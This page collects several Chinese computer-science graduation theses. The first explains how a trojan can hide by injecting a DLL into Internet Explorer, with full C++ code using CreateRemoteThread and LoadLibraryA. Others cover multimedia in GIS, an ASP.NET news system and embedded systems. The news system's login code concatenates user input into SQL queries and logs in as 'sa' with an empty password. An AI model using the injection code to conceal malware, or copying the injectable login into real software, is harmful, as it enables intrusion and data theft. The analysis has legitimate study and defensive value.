线上期刊服务咨询,发表咨询:400-808-1701 订阅咨询:400-808-1721

计算机系毕业论文8篇

时间:2022-10-11 08:57:33

计算机系毕业论文

计算机系毕业论文篇1

摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

参考文献

计算机系毕业论文篇2

摘要将多媒体技术应用于地理信息系统中的关键问题是:如何有效地管理多媒体数据和空间数据;其次,在区域分析过程中,怎样实现多媒体播放功能.指出用扩充的关系数据模型作为多媒体数据模型较适宜;多媒体功能的实现则取决于多媒体数据的格式是否为RIFF格式以及对多媒体数据的应用要求.最后展示了多媒体技术在地理信息系统中的应用前景.

关键词多媒体技术,地理信息系统,空间数据,属性数据,区域分析,数据模型.

现今由于多媒体技术的迅速崛起和高速发展,越来越多的应用软件都大量使用了多媒体技术.如果将多媒体技术应用于地理信息系统(geographicinformationsystem,简称GIS)软件中,势必大大增强GIS信息的表现能力,扩大GIS的应用领域.那么怎样将多媒体技术应用于GIS软件中呢我们认为应从两方面来设计:其一是怎样将多媒体数据溶于GIS数据库中,并保证提供GIS软件的双向检索及各种分析功能;其二是在应用过程中,怎样实现多媒体的播放功能.以下就这两个内容及其应用前景谈谈我们的看法.

1多媒体数据的有效管理

通常,应用软件中的多媒体数据有两种生成方式:一种是媒体播放之前,将其数字化到数据库当中,播放时从数据库中取数据;另一种是播放时,边生成边播放.而GIS软件中的数据库又分为空间数据库和属性数据库,即我们可根据媒体数据的特性或应用软件的要求将多媒体数据分别溶于空间数据库和属性数据库中.

1.1GIS数据库中多媒体数据的管理

1.1.1GIS空间数据库中多媒体数据的管理目前,多数GIS应用软件所能描述的空间目标都是静态的,实际上,很多GIS所要表达和研究的空间目标都不会是一成不变的,因此,GIS研究者已广泛关注能对时空过程和时空目标进行描述和分析的时态GIS(temporalGIS).时态GIS的组织核心是时空数据库,即设计一个合理的时空数据模型是建立时态GIS的关键所在.虽然目前还没有较成熟的能支持时态GIS产品的时空数据模型,一但时空数据模型的研究有所突破,不仅能解决时态GIS的应用问题,还将解决空间数据库中动画数据的管理问题,即可通过使用动画技术来实现在屏幕上动态播放时空过程.如动态显示卫星云图的变化情况、地壳变动情况、森林沙化和城市化情况以及海岸或河滩的侵蚀或淤积变化情况等.

有关时空数据模型,张祖勋[1]提出使用分级索引方法来对基本修正法进行改进.这种方法就是不存贮研究区域中每个状态的全部信息,而只存贮某个时间的数据状态(称为基态)以及相对于基态或邻近状态的变化量.在此基础上,建立分级索引,以便能快速找到所需的时空过程的数据.

要使用这种建索引的基本修正法,需要考虑两个问题,一个是如何建立索引;另一个是如何设计用来描述两个状态变化量的差文件.

关于建索引的问题,笔者认为:基态,亦a,b,c,d分别表示时态GIS的4个时期;T.时间轴;t0,t1,…,tn分别表示时态在GIS某个时期的n+1个时态,其中tn为基态,即“现在”时态一次数据状态——“现在”时态总是变化的,每产生一个新的现在时态,就应生成一个现在时态与前一次时态的差文件,同时根据现在时态所处的时间位置来决定是否产生新的索引差文件.以四叉树为例,如图1所示,当n为2i(i=2,3,…)的整数倍时,就需产生tn-2i~tn的索引差文件.相应地为了减少索引差文件所占的存贮空间,而又不影响对任一时态的检索速度,可将tn-2i+1~tn-2i的索引差文件删掉,所删的索引名文件个数正好比新建的索引差文件个数少一个.

关于差文件,笔者认为在设计中应考虑如下几个因素.(1)由于差文件是通过对两个时态的目标信息进行异或而产生的,这意味着差文件包含有两类目标信息:一类是前一时态有而后一时态无的目标信息;另一类是前一时态无而后一时态有的目标信息.为了能根据差文件快速、连续地由一个状态到过去另一状态或最近另一状态进行检索,应在差文件中将这两类目标信息予以标识区分.(2)两个状态之间目标变化应是有对应关系的,即01(目标从无到有);10(目标从有到无);1N(目标从一个变成多个);N1(目标从多个变成一个),以及目标空间信息无变化,属性信息有变化;目标局部空间信息有变化等.为了能进行快速检索,在差文件中应将两类各目标之间的对应关系予以标明,当然,这会增加差文件生成过程的复杂性.(3)和所有地图数据库模型类似,差文件也由空间信息、属性信息和关系信息组成,差文件中应将每个目标这3种信息之间的关系予以标明.

1.1.2GIS属性数据库中多媒体数据的管理有些G

IS的应用中,认为多媒体数据是一种特殊的专题属性数据.怎样选择多媒体数据的数据模型,使得既能遵循其自身特点,又能有效地建立起它与空间数据的联系,是多媒体技术在GIS应用中的关键所在.

目前,多数GIS属性数据库使用的是关系模型.为能将关系模型应用于多媒体数据管理系统中,就必须对现有的关系模型进行扩充,使它不但能处理格式化数据,也能处理非格式化数据.杨学良[2]就这个问题提出了3种技术策略:将多媒体数据文件名作为关系中元组某列(或属性);将每个元组作为一个完整文件保存;元组中存贮格式化数据以及非格式化数据的引用项,而非格式化数据单独存贮.

对比这3种技术策略,第一种技术策略方法简单、容易实现,适宜于对多媒体数据进行播放.第二、三种技术策略虽然能够实现并发控制和恢复,以及实现对多媒体数据进行编辑和拮取的应用,但由于此两种技术策略将每个元组所对应的空间目标的专业属性和多媒体属性混在一起,这既增大了应用程序设计的复杂性,又不利于那些只需使用空间目标的专业属性的一些应用的实现.为此,我们认为,在第一种技术策略的基础上,增加一个或多个属性项,用于存放多媒体数据的文件信息和数据流信息,当我们需要对多媒体数据文件进行特殊应用时,可根据文件信息和数据流信息对多媒体数据文件进行操作.

1.2GIS区域分析中多媒体数据的生成

多媒体数据生成的另一种方式是在GIS应用中,边统计、分析运算,边生成结果数据——多媒体数据.

1.2.1空间分析中多媒体数据的生成空间分析是一组分析结果依赖于所分析对象的位置信息技术[3],因此,空间分析要求获得目标的空间位置及其属性描述两方面信息.空间分析主要有:地形分析、叠加分析、缓冲区分析和网络分析等.

为了能更清楚地表示上述一些空间分析的结果,我们可用虚拟现实技术来实现.所谓虚拟现实[4]是一种由计算机生成的高级人机交互系统,即构成一个以视觉感受为主,也包括听觉、触觉、嗅觉的可感知环境,使用者通过专门的设备可在这个环境中实现观察、触摸、操作、检测等试验,有身临其境之感.比如,可用虚拟技术来观察地形分析或网络分析得到的空间效果,使用者可用交互操作的方式来控制自己与观察对象的角度、距离以及光照等,使观察对象随使用者的操作而动态旋转.此时以动画形式显示的媒体数据随使用者的操作产生并显示.

1.2.2统计分析中多媒体数据的生成统计分析就是用数理统计方法开展区域分析.数理统计方法主要有:统计特征值、研究两种或多种地理现象之间的相关分析,通过一组实际观测数据分析系统变量之间因果关系的回归分析,以及主成分分析等.

为了更加形象化,我们可以将数理统计结果以直方图、曲线、曲面或区划图表示,甚至可以将重要的部分以醒目的颜色、特殊的符号或闪烁的显示形式来告诉使用者,还可以配上解说词,以增加系统的感染力,而表现这些现象的媒体数据是在统计分析之后由系统自动生成并播放的.

2GIS应用系统中多媒体功能的实现

在GIS应用软件中进行多媒体功能实现,首先是受GIS应用软件自身开发平台的限制.多数情况下,GIS应用软件的多媒体开发平台宜选择编程语言,如VC++,VB或BC++等,以利于和GIS应用软件相结合.一旦多媒体开发环境确定下来,那么怎样实现区域分析中多媒体功能

2.1空间数据库中多媒体数据的播放

由前所述,空间数据库中存贮的多是各期间的时空数据,这些数据的结构与MCI所能接受的多媒体文件格式RIFF(resourceinterchangefileformat)不同,所以应用程序不能直接调用MCI函数和API函数,必须根据时态GIS的空间数据库结构,设计一个相应的动画播放程序来实现动态显示功能.

下面简述动态显示时态GIS中ti~tj状态的算法步骤(0≤i≤j≤n,其中n为现在时态).(1)由基态开始检索各索引差文件直到生成ti状态信息.(2)显示ti状态信息.(3)根据ti差文件,擦除ti状态有而ti+1状态无的信息,显示ti状态无而ti+1状态有的信息.(4)i+1i.(5)当i<j时,转(3);否则结束.

字4

如果用上述算法来实现动态显示时空过程,还有很多细节需要设计.首先,在(1)步骤,从基态开始,逐级逐步检索,每检索到一个状态差文件,就需根据差文件来生成该状态信息,直到ti状态处;其次,在(3)中,需要用到动画技术,擦除前一状态信息实质为恢复该处显示内容,而显示后一状态信息之前,需保存后一处信息内容,再予以显示新状态信息.

性数据库中多媒体数据的应用

一般来说,多媒体数据主要应用于两个方面:一个是简单播放;另一个是对多媒体数据进行编辑和拮取.对于前者,只要使用MCI函数或API函数按属性数据库中其他属性的要求进行播放;对于后者,这就要求程序员熟悉多媒体数据文件格式RIFF,根据多媒体数据的文件信息和数据流信息,通过调用多媒体文件输入/输出函数来实现多媒体的播放、编辑、拮取以及同步控制等操作.

3多媒体技术在GIS中的应用前景

(1)实现资源信息的科学管理,提供信息服务.GIS一改为用户管理提供单一的图表、数据信息形式,而在管理空间信息的同时,对图形、图象、视频、声音、动画等形式的信息进行管理和播放,大大增加了信息的表现能力.(2)家庭教育和个人娱乐.将多媒体和GIS溶于一身,会丰富教育、娱乐软件的内容及表现手段.比如有关地理、历史等课程的教学软件和娱乐软件的设计.(3)销售和演示信息系统.GIS和多媒体技术合为一体的这类系统会比以往的信息系统更具有表现力.比如房地产公司的销售系统,既能表明所售住房的空间位置,又能从中检索其住房环境及内部结构,而且可以动态地删去当天已售出的房子,给出不同价格等;旅游导游系统,可以在为观光游客制定导游路线时,就能对不同地方的景点产生身临其境的感觉.总之,将多媒体技术和GIS技术相结合,是计算机应用领域的一个发展方向,它会改变人们的工作、生活、思维方式,推动信息社会的前进.

参考文献

1张祖勋.时态GIS数据结构的研讨.测绘通报,1996,(1):19~21

2杨学良.多媒体计算机技术及其应用.北京:电子工业出版社,1995.138~139

计算机系毕业论文篇3

【摘要】利用和技术开发的网站新闻管理系统,实现了网站新闻的动态管理,使得对信息的管理更加及时、高效,提高了工作效率。同时对系统的开发原理、系统的功能特点和设计方案进行了介绍。

【关键词】新闻管理数据库

随着internet的普及,越来越多的企业建立了自己的www网站,企业通过网站可以展示产品,最新动态,与用户进行交流和沟通,与合作伙伴建立联系,以及开展电子商务等。其中新闻管理系统是构成企业网站的一个重要组成部分,它担负着双层作用,一方面可以用来动态有关新产品或新开发项目,另一方面又可以及时向顾客公告企业经营业绩、技术与研发进展、特别推荐或优惠的工程项目、产品和服务,从而吸引顾客,扩大顾客群。

传统的网站新闻管理方式有两种,一是静态html页面,更新信息时需要重新制作页面然后上传页面并修改相应链接,这种方式因为效率太低已不多用。二是基于asp和脚本语言,将动态网页和数据库结合,通过应用程序来处理新闻,这是目前较为流行的做法。但是由于asp本身的局限性使得系统有一些不可克服的缺陷,而采取了技术的系统性能上有了很大的改善,其主要表现在以下几方面:

1.由于asp页面每次打开都必须经过先编译后解释的过程,所以页面在反复打开时速度没有任何提升,而页面只需要一次编译后不需要重新编译,直到该页面被修改或web应用程序重新启动。这使得在多次访问时速度有了极大的提升。

2.由于asp没有提供任何输出数据为内容的元件,所以在使用asp撰写数据库页面时只能借助ado的recordset对象逐笔读取记录,而通过提供的datagrid等数据库元件可以直接和数据库联系。

3.支持应用程序的实时更新。管理员不必关掉网络服务器或者甚至不用停止应用程序的运行就可以更新应用文件。应用程序文件永远不会被加锁,因此甚至在程序运行时文件就可以被覆盖。当文件更新后,系统会温和地转换到新的版本。

4.采取"code-behind"方式编写代码使得代码更易于编写,结构更清晰,降低了系统的开发与维护的复杂度和费用。

1系统的开发原理

1.1基于技术的系统结构模型

结构是一个三层系统:ui层、业务逻辑层和数据层,如图1所示。

图的系统结构模型

ui层负责与用户交互,接收用户的输入并将服务器端传来的数据呈现给客户。

业务逻辑层负责接收浏览器传来的请求并将请求传给数据层,同时将请求处理结果发给浏览器。它由web表单、xmlweb服务和组件服务组成。其中web表单是应用程序的核心所在,它是向客户呈现数据和信息的基础,也是响应和处理客户与显示的web表单交互生成的信息和数据的基础。

数据层是通过操纵数据为事务逻辑层提供数据服务,如存储数据操作结果、返回数据检索结果等。

访问数据库的原理

与数据库相连,提供了如下3种方式:通过odbc相连;通过oledb相连;直接与sqlserver相连。3种方式由于应用层次的差异,使得效率由低到高,独立性由高到低。对于相连数据库的数据处理,也有2种方式,即一种是通过dataset来隔离异构的数据源,另一种是以流方式从数据源读取(datareader方式)。

传统的应用程序是通过先建立到数据库的连接,在程序的整个运行过程中维护连接的方式来设计的。采取了断开连接方式的数据结构。当浏览器向web服务器请求网页时,服务器处理这个请求,并将所请求的网页发送给浏览器,然后连接就被断开,直到浏览器发出下一个请求。

的另一个创新是引入了数据集(dataset)。一个数据集是内存中提供数据关系图的高速缓冲区。数据集对数据源一无所知,它们可以由程序或通过从数据仓库中调入数据而被生成、填充。不论数据从何处获取,数据集都是通过使用同样的程序模板而作的,并且它使用相同的潜在的数据缓冲区。

2系统的功能设计

2.1系统的功能结构

该新闻管理系统可以在windows2000server操作系统平台上运行,web服务器为iis,数据库服务器为microsoftsqlserver2000,开发工具采用的和dreamweaver。图2给出系统的功能结构图。其工作流程为:用户登录通过权限判断,普通用户只能浏览、阅读和查询新闻,注册用户除了可以完成普通用户的操作外,还可以进入新闻管理模块进行新闻录入、修改和删除的操作。注册用户除系统管理员外只能对自己录入的新闻进行删改操作。

2.2系统的功能特点

(1)操作简单、界面友好:完全控件式的页面布局,使得新闻的录入工作更简便;许多选项包括新闻类别、来源部门等只需要点击鼠标就可以完成;另外,跟踪出现的提示信息也让用户随时清楚自己的操作情况。

(2)即时可见:对新闻的处理(包括录入、修改、删除)将立即在主页的对应栏目显示出来,达到"即时、即时见效"的功能。

图2系统功能结构图

(3)功能完善:包括常见网站的新闻管理的各个方面:新闻录入、浏览、删除、修改、检索等各个方面,完整地实现了网站对即时新闻的管理要求。

(4)方便移植:针对不同的企业,只需要稍作修改就可以开发出适合本企业特点的网站新闻管理系统!

3系统的详细设计

系统的主要功能是通过几个功能模块来实现的。具体的设计过程如下:

⑴系统登录:该模块负责将用户分为普通用户和注册用户来实现用户权限的管理。

⑵新闻浏览:该模块负责分页列出网站所有新闻的信息,包括标题、类型、来源部门字段及日期,每条新闻的标题被做成一个超链接,点击它们就能跳转页面进行新闻阅读。

⑶新闻阅读:在其他页面中点击标题链接即进入新闻阅读页面,此时,每条新闻的详细信息将被取出,包括内容、标题、关键字等,并按照相对固定的格式放置在页面的不同区域,所有新闻使用大致相同的页面布局,只是各字段对应的内容不同而已,另外,页面其它位置,可以动态放置其他元件,如网站标志logo、页面广告banner等链接图片,这样可以很容易地实现图文并茂的阅读效果。

⑷新闻查询:该模块提供了新闻查询功能,输入待查找的内容及选定分类信息可以快速地找到符合条件的新闻,并输出查询结果。

⑸新闻管理:该模块负责分页罗列登录的注册用户曾过且未删除的新闻信息,用户可以对该条新闻进行删除、修改。非新闻者除系统管理员外不具有对该条新闻的处理权限,所以不同用户进入此页面将显示不同的内容。

⑹新闻录入和修改:注册用户录入一条新闻所需要的内容,包含标题、关键字、类型、来源部门、日期等,同时从登录模块得到用户名,这些信息将被写入数据库中保存。该模块还负责编辑状态下的更新,这时,它将根据取得的title字段值对页面控件初始化。

下面以系统登录页面的编写为例给出主要事件和函数,说明该系统的开发过程。

//isreguserok函数:判断用户是否已经注册和密码是否正确

publicboolisreguserok()

{

stringname=textboxname.text.trim();

stringpwd=textboxpassword.text.trim();

//建立/打开数据库连接

sqlconnectionconn=newsqlconnection();

conn.connectionstring="server=(local);uid=sa;pwd=;database=jxdb";

conn.open();

//建立sql字符串

stringsql="select*fromregwherename=''''"+name+"''''";

sqldatareaderdr;

sqlcommandcmd=newsqlcommand(sql,conn);

dr=cmd.executereader();

//保留用户注册与否信息

boolisreguserexist=dr.read();

//关闭datareader

dr.close();

//取得用户名的密码

stringsqlboth="select*fromregwherename=''''"+name+"''''";

sqlboth+="andpwd=''''"+pwd+"''''";

sqlcommandcmdboth=newsqlcommand(sqlboth,conn);

sqldatareaderdrboth;

drboth=cmdboth.executereader();

//保留用户名+密码同时存在信息

boolisbothexist=drboth.read();

//关闭datareader

drboth.close();

conn.close();

//判断用户是否注册

if(!isreguserexist)

{

response.write("<script>alert(''''此用户尚未注册!'''')");

returnfalse;

}

//判断用户名与密码是否一致

elseif(!isbothexist)

{

response.write("<script>alert(''''用户名和密码不一致,不能进入!'''')");

returnfalse;

}

else

returntrue;

}

最后给出系统后端数据存储方案:

利用microsoftsqlserver2000建立数据库及其存储过程。这里给出两个必需的数据表,一是数据表news包含的字段有:编号、姓名、标题、关键字、内容、类型、来源部门和日期。字段说明如下:

二是数据表reg包含的字段有:编号、姓名、密码、所属部门、电子邮箱和电话。字段说明如下:

参考文献

[1]天极网新技术研究室.《完全入门》.重庆出版社,2001

[2]scottworley著.《技术内幕》.王文龙刘湘宁译.人民邮电出版社,2002

计算机系毕业论文篇4

嵌入式系统通常是一个包含微处理器的特殊计算机系统,是一个较大系统或设备的组成部分,它在很大程度上决定了设备的功能特性。许多具备数字接口的设备如微波设备、录像机(VCR)和汽车等都会用到嵌入式系统。有些嵌入式系统需要使用操作系统,有些则用单个程序实现整个逻辑,但所有嵌入式系统提供的功能都要比通用计算系统更专业些。嵌入式系统功能包括:

1.监视环境-从输入传感器读取数据,然后处理数据并显示结果。

2.控制环境-产生并向激励器发送命令。

3.转换信息-转换并处理收集到的数据。

虽然通过传感器和激励器完成与外部世界的交互是嵌入式系统的重要特点,但这些嵌入式系统还提供适合它们所在设备的特殊功能。嵌入式系统一般用来执行控制程序、有限状态机和信号处理算法。这些系统还必须检测内部计算环境和周围电磁系统中发生的故障并对此做出响应。

嵌入式系统特性

嵌入式系统的设计挑战是使嵌入式系统的独特性能与设备的特殊约束条件相一致。以下是一些嵌入式系统的重要特性:

1.特殊应用系统-嵌入式系统不同于通用处理器,它针对特殊应用进行了优化。

2.反应性系统-反应性计算的意思是系统(主要是软件部分)根据传感器信息对环境作出响应,并利用激励器控制环境,同时系统速度能与环境速度同步。

3.分布式-嵌入式系统的一般特征是多个通信进程在多个通过通信链路链接的CPU或ASIC上运行。

4.异类性-不同的嵌入式系统一般具有不同的结构,以便在处理严格设计约束的嵌入式系统时能够提供更好的设计便利性。

5.苛刻环境-许多嵌入式系统并不工作在受控的环境中,因此它们必须能够经受过热、振动、冲击、电源波动和其它恶劣的物理环境条件的考验。

6.系统安全性和可靠性-由于嵌入式系统复杂度和运算量的不断增长,需要更多地考虑系统安全因素。

7.小型化、重量轻-为了达到便携目的,许多嵌入式系统的重量必须设计得很轻。

8.成本敏感性-不同的嵌入式系统对成本的敏感性有很大的不同。

实时系统的特性

实时系统要求在外部环境指定的时间间隔内对来自环境的激励信号作出响应(包括物理时间的过渡)。从输入时间到输出时间的延迟必须足够小,以满足可以接受的时间值。通常实时系统需要对环境作出连续及时的响应。

计算的正确性不仅依赖于结果,而且取决于输出发生的时间。一个实时系统必须满足有限响应时间约束条件,否则会产生严重的后果。如果后果是性能的劣化而不是故障,那么这种系统可以看作是一个软实时系统。如果后果是系统发生故障,那么这种系统就是一种硬实时系统。

实时系统有反应式和嵌入式两种类型。反应式实时系统会与环境发生连续的互作用,而嵌入式实时系统主要用于控制大型系统中安装的特殊硬件。

嵌入式系统开发生命周期

许多系统设计工程师都会经历硬件/软件协同设计的过程(图1),此过程中硬件与软件将同时进行开发。理解硬件与软件功能相互之间的关系及界限有助于确保设计要求得到完整正确的理解和实现。

早在设计要求的定义与分析阶段,系统开发人员就必须与设计工程师协同分配硬件或/和软件方面的要求。这种分配的依据是早期系统仿真、原型设计和行为建模结果、工程师自己的经验以及上文提及的各种因素权衡结果(图2)。一旦分配结束,就可以立即着手具体的设计和实现。实时系统开发中软硬件的并行设计会使用到各种分析技术,包括:

1.硬件与软件仿真;

2.硬件/软件协同仿真;

3.可调度的建模技术,如速率恒定分析;

4.原型设计和渐进式开发。

可以在各种抽象层次使用的仿真技术主要用于开展早期的性能评估。低层仿真可以用来为总线宽度和数据流程建模,这对性能评估是非常有用的。高层仿真可以满足功能的交互,并促成硬件/软件权衡研究及有效性设计。利用仿真可以将一个复杂的系统向下抽象成基础组件和行为。仿真还助于解决功能性问题(数据与算法)、行为(进程排序)或性能问题(资源利用、吞吐量和时序)。

理解设计要求

在作执行任何类型的处理器评估时,首先要详细理解用户的功能和非功能性要求。功能性要求通常比较容易获得,而非功能性要求较难定量测量。但对于实时系统来说,定义响应时间这样的要求是非常重要的。实时要求可以有以下几种:

1.激励-激励(S-S):到系统去的两个激励之间的实时关系;

2.激励-响应(S-R):一个激励与来自系统的一个后序响应之间的实时关系;

3.响应-激励(R-S):一个响应与到系统去的一个后序激励之间的实时关系;

4.响应-响应(R-R):来自系统的两个响应之间的实时关系。

S-R和R-R关系定义了对指定系统的时序要求。这种情况下所实现的功能必须足够快(或足够慢)才能满足时序要求。S-S和R-S约束暗示系统必须能够从环境(可能是一个用户或另外一个系统)中检测出特定时序约束的破坏。这些约束与功能的快慢没有关系,相反它们能够检测出某些遭到破坏的时序约束并采取必要的措施。

因此要从最初系统要求设计时就很好地理解这一点,因为S-R和R-R约束可以引导设计工程师进行代码优化,而S-S和R-S约束需要用额外的软件来检测和响应时序冲突。

处理器选择

嵌入式实时系统比较适合用于系统优化。由于这些系统主要用来解决范围相对较窄的问题,因此硬件和软件能够得到最佳优化,并很好地应用于单一设备。这样做的目的是要在软硬件最佳折衷状态下开展系统设计。影响这一阶段设计的主要因素是处理器的选择、软硬件的分割和总体系统集成。

在为嵌入式实时系统选择处理器时需要考虑以下几个方面:

1.性能:处理器必须有足够的性能执行任务和支持产品生命周期。

2.实现:根据具体应用情况,处理器可能需要被高度集成。在DSP应用中可以有好几种选择,专用集成电路(ASIC)就是其中的一种。这些器件可以被用作DSP协处理器,但对于许多通用信号处理来说显得不够灵活。另外可以选择精简指令集计算机(RISC)处理器。这些处理器的时钟速度特别快,但可扩展性不是很强,而且会发生其它实时(可预测性)问题。现场可编程阵列(FPGA)是一种快速器件,能够快速高效地完成某些DSP功能,但与DSP相比开发难度比较大,因为在DSP中一个简单的程序就能完成相同的功能。如果是主信号处理应用,则最好采用性能强大功耗也较大的通用处理器。如果需要快速升级信号处理应用,采用DSP等可编程器件比定制的硬件方案要更好些。

3.工具支持:支持软件创建、调试、系统集成、代码调整和优化工具对整体项目成功与否非常关键。

4.操作系统支持:嵌入式系统应用需要使用有帮助的抽象来减少其复杂性。针对处理器系列产品作过优化的商用操作系统(OS)能够缩短设备开发周期和上市时间。

5.过去的经验:拥有处理器或处理器系列产品的开发经验可以减少可观的学习新处理器、工具和技术的时间。

